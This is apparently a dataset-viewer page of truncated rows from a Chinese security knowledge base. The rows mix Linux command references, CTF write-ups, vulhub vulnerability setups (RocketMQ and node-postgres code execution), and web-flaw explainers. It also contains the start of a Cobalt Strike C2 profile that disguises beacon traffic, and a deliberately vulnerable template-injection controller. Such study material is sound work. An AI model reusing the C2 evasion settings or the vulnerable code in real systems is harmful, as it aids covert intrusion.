- <https://www.metabaseq.com/imagemagick-zero-days/>
- <https://github.com/ImageMagick/Website/blob/main/ChangeLog.md#... | sec-knowleage |
unlink
===
系统调用函数unlink去删除指定的文件
## 补充说明
**unlink命令** 用于系统调用函数unlink去删除指定的文件。和rm命令作用一样,都是删除文件。
### 语法
```shell
unlink(选项)(参数)
```
### 选项
```shell
--help:显示帮助;
--version:显示版本号。
```
### 参数
文件:指定要删除的文件。 | sec-knowleage |
---
title: APISIX 介绍
---
<center><h1>APISIX 介绍</h1></center>
---
Apache APISIX 是一个由 Apache 基金会孵化的一个开源的云原生 API 网关,具有高性能、可扩展的特点,与传统的 API 网关相比,APISIX 是通过插件的形式来提供负载均衡、日志记录、身份鉴权、流量控制等功能。
<script>
export default {
mounted () {
this.$page.lastUpdated = "2022年4月30日"
}
}
</script> | sec-knowleage |
# keygenme-py
Category: Reverse Engineering, 30 points
## Description
A Python file was attached.
```python
#============================================================================#
#============================ARCANE CALCULATOR===============================#
#=====================================================... | sec-knowleage |
zip
===
可以用来解压缩文件
## 补充说明
**zip命令** 可以用来解压缩文件,或者对文件进行打包操作。zip是个使用广泛的压缩程序,文件经它压缩后会另外产生具有“.zip”扩展名的压缩文件。
### 语法
```shell
zip(选项)(参数)
zip [-选项] [-b 路径] [-t 日期] [-n 后缀名] [压缩文件列表] [-xi 列表]
```
### 选项
```shell
-A:调整可执行的自动解压缩文件;
-b<工作目录>:指定暂时存放文件的目录;
-c:替每个被压缩的文件加上注释;
-d:从压缩文件内删除指定的文件;
-D:压缩文件内不建立目录名称;
-f:此参数的效果和指定“-u”参数类似,但不... | sec-knowleage |
# Apache RocketMQ 远程命令执行漏洞(CVE-2023-33246)
Apache RocketMQ是一个分布式消息平台。
在其5.1.0版本及以前存在一处命令执行漏洞,攻击者通过向其更新配置相关的功能发送指令即可更新任意配置项,并通过配置项中存在的命令注入功能执行任意命令。
参考链接:
- <https://lists.apache.org/thread/1s8j2c8kogthtpv3060yddk03zq0pxyp>
- <https://github.com/I5N0rth/CVE-2023-33246>
## 启动
执行如下命令启动一个RocketMQ 5.1.0:
```shell
dock... | sec-knowleage |
## Command-Line Quiz (Unknown, 100p)
telnet caitsith.pwn.seccon.jp
User:root
Password:seccon
The goal is to find the flag word by "somehow" reading all *.txt files.
###PL
[ENG](#eng-version)
Łączymy się ze wskazanym serwerem:
```
CaitSith login: root
Password:
$ ls
bin flags.txt linuxrc s... | sec-knowleage |
# Insecure Direct Object References
> Insecure Direct Object References occur when an application provides direct access to objects based on user-supplied input. As a result of this vulnerability attackers can bypass authorization and access resources in the system directly, for example database records or files. - OW... | sec-knowleage |
# node-postgres 代码执行漏洞(CVE-2017-16082)
## 漏洞原理
node-postgres在处理类型为`Row Description`的postgres返回包时,将字段名拼接到代码中。由于没有进行合理转义,导致一个特殊构造的字段名可逃逸出代码单引号限制,造成代码执行漏洞。
参考链接:
- https://www.leavesongs.com/PENETRATION/node-postgres-code-execution-vulnerability.html
- https://node-postgres.com/announcements#2017-08-12-code-executio... | sec-knowleage |
# 0x00 profile编写
先设置Beacon的默认值
```
#
#
#Author :@404
#
#
set sleeptime "3000";
set jitter "10";
set useragent "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36";
```
设置心跳时间为3s,jitter随便但是不要太大这是心跳时间抖动。然后设置我们的get请求
```
http-get{
set uri "/hdq=sogou-wsse-3f7... | sec-knowleage |
# CypLogin
* Category: Web / Forensics
* 150 points
## Description
> To exchange new information in a secure environment, you should use our cryptographic new login rather the simple one.
>
> However, can you bypass its protections and get the flag anyway?
A PCAP file and a `tlskey.log` file were attached.
## Solution
... | sec-knowleage |
## Android Dynamic Analysis
[DIVA Android - Damn Insecure and vulnerable App for Android](https://github.com/payatu/diva-android/)
[Android Xposed Module to bypass SSL certificate validation (Certificate Pinning)](https://github.com/ac-pm/SSLUnpinning_Xposed)
[Android Secure Coding Standard](https://www.securecoding.ce... | sec-knowleage |
# Zoo World
Category: Beginners
## Description
> Passwords have become one of the only layers of protections between hackers and our personal information, we use passwords for almost everything, but some don't use them well.
>
> Using the same password for multiple services or using a weak and predictable password is ... | sec-knowleage |
# jackson
---
## jackson 解析器
在 Java 里面常见的 json 解析器有
```
Jsonlib,Gson,fastjson,jackson
```
常用方法
1. readValue(json 字符串数据, Class) json 转换为 java 对象
2. writeValue(参数,obj):
* File:将 obj 对象转换为 JSON 字符串,并保存到指定的文件中
* Writer:将 obj 对象转换为 JSON 字符串,并将 json 数据填充到字符输出流中
* OutputStream:将 obj 对象转换为 JSON 字符串,并将 json 数据填... | sec-knowleage |
# VSFTP 配置案例
---
**安装**
- **服务端**
`yum install -y vsftpd`
- **客户端**
`yum install -y ftp`
---
## 匿名访问
|参数|作用|
| :------------- | :------------- |
|anonymous_enable=YES | 允许匿名访问模式 |
|anon_umask=022 | 匿名用户上传文件的 umask 值|
|anon_upload_enable=YES | 允许匿名用户上传文件|
|anon_mkdir_write_enable=YES | 允许匿名用户创建目录|
|anon_other_write_en... | sec-knowleage |
#include <stdio.h>
#include <string.h>
#include <inttypes.h>
#include <iostream>
#include <iomanip>
typedef int32_t int32;
typedef int64_t int64;
const void *last_accessed_pointer;
//#define ENABLE_VO_DEBUG_MESSAGES
void debug (const char *msg1, const char *msg2 = 0);
void debug (const char *msg1, const int arg2);
... | sec-knowleage |
grub2-set-default
===
设置系统默认的启动内核
## 语法
```shell
Usage: grub2-set-default [OPTION] MENU_ENTRY
Set the default boot menu entry for GRUB.
This requires setting GRUB_DEFAULT=saved in /etc/default/grub.
-h, --help print this message and exit
-v, --version print the version information and exit
... | sec-knowleage |
# 六、HTTP 参数污染
> 作者:Peter Yaworski
> 译者:[飞龙](https://github.com/)
> 协议:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/)
## 描述
HTTP 参数污染,或者 HPP,在网站接受用户输入,将其用于生成发往其它系统的 HTTP 请求,并且不校验用户输出的时候发生。它以两种方式产生,通过服务器(后端)或者通过客户端。
在 StackExchange 上,SilverlightFox 提供了一个 HPP 服务端攻击的不错的例子。假设我们拥有以下站点:`https://www.examp... | sec-knowleage |
# HackerOneReports
Here you can find mostly all disclosed h1 reports up to 02/01/2020
If you have any questions or improvements to the structured data please do not hesitate to ask or suggest. | sec-knowleage |
# Anonymous exchange (misc, 253p)
> I've bought some bitcoins with my credit cards, and some of them attracted attention, but I don't know which ones. Could you find out?
> Challenge running at anon.ctfcompetition.com:1337
Connecting to the challenge, we are presented the following menu:
```
Hey. Could you tell me if m... | sec-knowleage |
# SSTI
## Velocity
{% code title="SstiController.java" %}
```
package com.example.controller;
import org.apache.velocity.VelocityContext;
import org.apache.velocity.app.Velocity;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.spring... | sec-knowleage |
from library import *
from collections import defaultdict
if len(sys.argv) > 2:
n = int(sys.argv[2])
else:
n = None
i, o, t = load_npz(sys.argv[1])
if 0:
t = t[:, 100:1600]
normalize(t)
align_fft(t, 200)
if 0:
t = t[:, 4500:6500]
normalize(t)
align_fft(t, 100)
d = d... | sec-knowleage |
# 综合题目
## 2017 34c3 Software_update
可以看出,程序的大概意思是上传一个 zip 压缩包,然后对 signed_data 目录下的文件进行签名验证。其中,最后验证的手法是大概是将每一个文件进行 sha256 哈希,然后**异或**起来作为输入传递给 rsa 进行签名。如果通过验证的话,就会执行对应的 pre-copy.py 和 post-copy.py 文件。
很自然的想法是我们修改 pre-copy.py 或者 post-copy.py 文件,使其可以读取 flag,然后再次绕过签名即可。主要有两种思路
1. 根据给定的公钥文件获取对应的私钥,进而再修改文件后伪造签名,然后大概看了看公钥文件几乎不... | sec-knowleage |
# Fly Me To The Moon
Category: Forensics, 85 Points
## Description
> Our Satellite managed to pick up some data from outer space (Aliens? wink wink).
>
> We have tried to make some sense of it for a long time, Maybe you can?
>
> It`s a new year after all...
## Solution
Let's check the file that was attached:
```con... | sec-knowleage |
# Easy Peasy
Category: Crypto, 40 points
## Description
> A one-time pad is unbreakable, but can you manage to recover the flag? (Wrap with picoCTF{})
```python
#!/usr/bin/python3 -u
import os.path
KEY_FILE = "key"
KEY_LEN = 50000
FLAG_FILE = "flag"
def startup(key_location):
flag = open(FLAG_FILE).read()
kf = open(K... | sec-knowleage |
# My first service I (pwn 100)
###ENG
[PL](#pl-version)
In the task we can connect to a service via netcat:
```
Welcome to my first service
Please input the secret key:
```
If we provide some string, the server sends it back if it is incorrect.
However, apparently server was doing `printf(our_data)` and therefore we co... | sec-knowleage |
version: '2'
services:
web:
image: vulhub/imagemagick:7.1.0-49-php
command: php -t /var/www/html -S 0.0.0.0:8080
volumes:
- ./index.php:/var/www/html/index.php
ports:
- "8080:8080" | sec-knowleage |
# Unsubscriptions Are Free
Category: Binary Exploitation, 100 points
## Description
> Check out my new video-game and spaghetti-eating streaming channel on Twixer!
```c
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <ctype.h>
#define FLAG_... | sec-knowleage |
# Brainpan:1
下载地址:https://download.vulnhub.com/brainpan/Brainpan.zip
## **实战演练**
netdiscover命令查找靶机的IP

使用nmap查看靶机开放了那些端口

nc9999端口,拒绝访问

10000端口是个HTTP服务器,... | sec-knowleage |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.